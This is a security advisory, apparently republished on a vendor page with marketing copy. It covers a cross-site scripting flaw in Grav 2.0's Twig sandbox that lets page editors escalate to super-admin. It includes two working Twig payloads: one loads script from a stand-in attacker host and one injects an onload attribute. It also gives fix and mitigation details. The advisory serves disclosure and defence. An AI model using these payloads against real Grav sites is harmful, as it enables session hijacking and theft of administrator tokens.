Summary
Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin
Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists addcss and addjs on Grav\Common\Assets (system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307). Because the sandbox arbitrates the call and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a <script src> / <link href> tag. The asset URL is concatenated into that tag without escaping, so it can also break out of its own attribute.
The save-time XSS scan cannot see this: Security::detectXssInEditorContent() renders the content body in isolation and inspects the returned string, while assets.addJs() acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.
This is not a Security::detectXss() bypass. It is content reaching an unescaped output sink through an allowlisted method.
Affected versions
All Grav 2.0 releases whose sandbox policy allowlists addcss/addjs on Grav\Common\Assets. The entry predates 2.0.19, it was carried forward unchanged when the sandbox allowlists moved from system/config/security.yaml into SandboxDefaults in 2.0.19.
Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page process: twig.
Details
Reachable by a plain page editor, with no Twig permission and no configuration change. On a stock install security.twig_content.process_enabled is true and system/config/system.yaml ships process: { markdown: true } with no twig key, so Security::applyTwigContentDefault() defaults every page's process.twig to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. security.twig_content.editor_enabled: false and the admin.pages_twig permission gate only the per-page override checkbox in the editor, they do not gate whether Twig runs.
The sink. Assets/Js.php:46 (and identically Css.php:50, Link.php:41, JsModule.php:47) builds the tag by concatenation with no escaping:
return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . ...
For any remote asset, BaseAsset::init() stores the caller's string verbatim. Two working variants follow:
- External script inclusion,
{{ assets.addJs('https://attacker.example/poc.js') }} - Attribute injection with no attacker-controlled host,
{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}, becauseunifyLegacyArguments()passes a second array argument straight into the tag's attributes and attribute names are not filtered. The same effect is reachable by embedding a quote in the URL itself.
Timing. Twig::processSite() resolves $page->content() before rendering the theme template, so the registration lands before the head is emitted.
javascript: and data: URLs are not exploitable, they are treated as local paths and dropped when the file does not exist.
Credits
Reported by Ahmed Ibrahim (@skeletonsec).
Impact
Persistent script execution on the site's own origin for every visitor of the affected page, including administrators, which makes this a page-editor-to-super-admin escalation:
- Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with
sandbox="allow-same-origin allow-scripts allow-forms", so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (plugins.api.protect_frontend_session) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this. - Admin-Next persists the administrator's API access and refresh JWTs in
localStorageon that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view. - An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Fixed in Grav 2.0.20:
addcss/addjsremoved from theGrav\Common\Assetssandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods throughsecurity.twig_sandbox.allowed_methods, which is additive over the shipped defaults.- Asset URLs are now HTML-escaped at every render site (
Js,Css,Link,JsModule, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.
Operators who cannot upgrade immediately can tighten the policy in user/config/security.yaml:
twig_sandbox:
denied_methods:
- class: Grav\Common\Assets
methods: 'addcss, addjs'
Frequently Asked Questions
- What is GHSA-8HGV-XC77-JMCR? GHSA-8HGV-XC77-JMCR is a medium-severity cross-site scripting (XSS) vulnerability in getgrav/grav (composer), affecting versions <= 2.0.19. It is fixed in 2.0.20. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- Which versions of getgrav/grav are affected by GHSA-8HGV-XC77-JMCR? getgrav/grav (composer) versions <= 2.0.19 is affected.
- Is there a fix for GHSA-8HGV-XC77-JMCR? Yes. GHSA-8HGV-XC77-JMCR is fixed in 2.0.20. Upgrade to this version or later.
- Is GHSA-8HGV-XC77-JMCR exploitable, and should I be worried? Whether GHSA-8HGV-XC77-JMCR is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-8HGV-XC77-JMCR is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-8HGV-XC77-JMCR? Upgrade
getgrav/gravto 2.0.20 or later.